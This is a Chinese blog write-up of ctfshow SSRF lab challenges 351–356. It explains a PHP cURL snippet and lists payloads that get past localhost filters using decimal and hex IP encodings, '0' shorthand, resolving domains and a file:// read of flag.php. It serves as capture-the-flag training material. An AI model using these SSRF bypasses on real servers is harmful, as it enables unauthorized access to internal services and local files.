当前位置: 首页 > news >正文

ctfshow——web入门351~356

SSRF没有出网的部分
web入门351


$ch = curl_init($url);
  • 作用:初始化一个 cURL 会话,并设置目标 URL。
  • 解释
    • curl_init($url) 创建一个新的 cURL 资源,并将其与 $url 关联。
    • 这里的 $url 是用户提供的,因此目标地址完全由用户控制。


curl_setopt($ch, CURLOPT_HEADER, 0);
  • 作用:设置 cURL 选项,不包含响应头。
  • 解释
    • CURLOPT_HEADER 控制是否在输出中包含 HTTP 响应头。
    • 设置为 0 表示不包含响应头,只返回响应体。


curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  • 作用:设置 cURL 选项,将响应作为字符串返回,而不是直接输出。
  • 解释
    • 默认情况下,cURL 会直接将响应输出到页面上。
    • 设置 CURLOPT_RETURNTRANSFER1 后,响应会被存储到变量中,而不是直接输出。


$result = curl_exec($ch);
  • 作用:执行 cURL 请求,并获取响应结果。
  • 解释
    • curl_exec($ch) 执行之前配置好的 cURL 请求,并将响应内容存储到 $result 中。
    • 如果请求失败,$result 的值可能为 false


curl_close($ch);
  • 作用:关闭 cURL 会话,释放资源。
  • 解释
    • 在完成 cURL 操作后,调用 curl_close($ch) 关闭 cURL 资源,避免资源泄漏

payload:

url=localhost/flag.php

url=127.0.0.1/flag.php

url=file:///var/www/html/flag.php

web入门352

emmm这题怎么说呢,过滤的语句不完全,上题的payload照样可以用

那我们假设他完全

url=http://0.0.0.0/flag.php

url=http://127.255.255.253/flag.php(127开头的都行)

url=http://2130706433/flag.php(ip转数字)<-网站

url=http://127.000.000.001/flag.php

url=http://0x7f000001/flag.php(16进制写法)

web入门353

这个写全了,但是这个禁止的是127.0形式的,也就是127.1.1.1就可以绕过

还有

url=http://2130706433/flag.php

url=http://0x7f000001/flag.php

多几个0也可以

使用sudo.cc代替127.0.0.1

url=http://sudo.cc/flag.php

在Linux中0表示自身的地址

用http://0/flag.php 绕过

web入门354

这题禁了1和0

url=http://sudo.cc/flag.php

使用解析到127.0.0.1的url绕过

url=http://safe.taobao.com/flag.php

url=http://spoofed.burpcollaborator.net/flag.php

(这两个是其他师傅提供的可以用的)

web入门355

对host长度进行了限制,即主机名小于等于5

payload:

url=http://0/flag.php

url=http://127.9/flag.php

url=http://0.0.0/flag.php

web入门356

主机名小于3

payload:
url=http://0/flag.php

url=http://0.0/flag.php

相关文章:

  • WebGL图形编程实战【6】:性能优化 × 调试工具与技巧精讲
  • 基于FastAPI框架的日志模块设计
  • STM32入门教程——GPIO输出
  • 信息瓶颈理论(Information Bottleneck Theory)中的“最小化信息”是否意味着“最大化抽象能力”?
  • 【超详细教程】安卓模拟器如何添加本地文件?音乐/照片/视频一键导入!
  • Spring的异步
  • Linux系统管理与编程19:自动部署dns
  • 激光雷达点云畸变消除:MCU vs CPU 方案详解
  • 动态类加载方式引入第三方资源jar包
  • 转运机器人可以绕障吗?
  • 前苹果首席设计官回顾了其在苹果的设计生涯、公司文化、标志性产品的背后故事
  • dockerfile: PaddleOCR hubserving api 服务
  • 物联网驱动的共享充电站系统:智能充电的实现原理与技术解析!
  • 【NextPilot日志移植】日志写入流程
  • 智能SQL优化工具集成:从概念到实践
  • 二进制中1的个数
  • JWT的介绍与在Fastapi框架中的应用
  • OpenCV 的 CUDA 模块中用于将一个多通道 GpuMat 图像拆分成多个单通道图像的函数split()
  • OSI 7层模型
  • cURL:通过URL传输数据的命令行工具库介绍
  • 真人秀《幸存者》百万美元奖金,25年间“缩水”近一半
  • 特朗普开启第二任期首次外访:中东行主打做生意,不去以色列
  • 超新星|罚丢点球的那道坎,刘诚宇靠自己迈了过去
  • 我国7名优秀护理工作者荣获第50届南丁格尔奖
  • 首映丨纪录电影《滚烫年华》:献给所有奋斗者
  • 警方通报男子地铁上拍视频致乘客恐慌受伤:列车运行一度延误,已行拘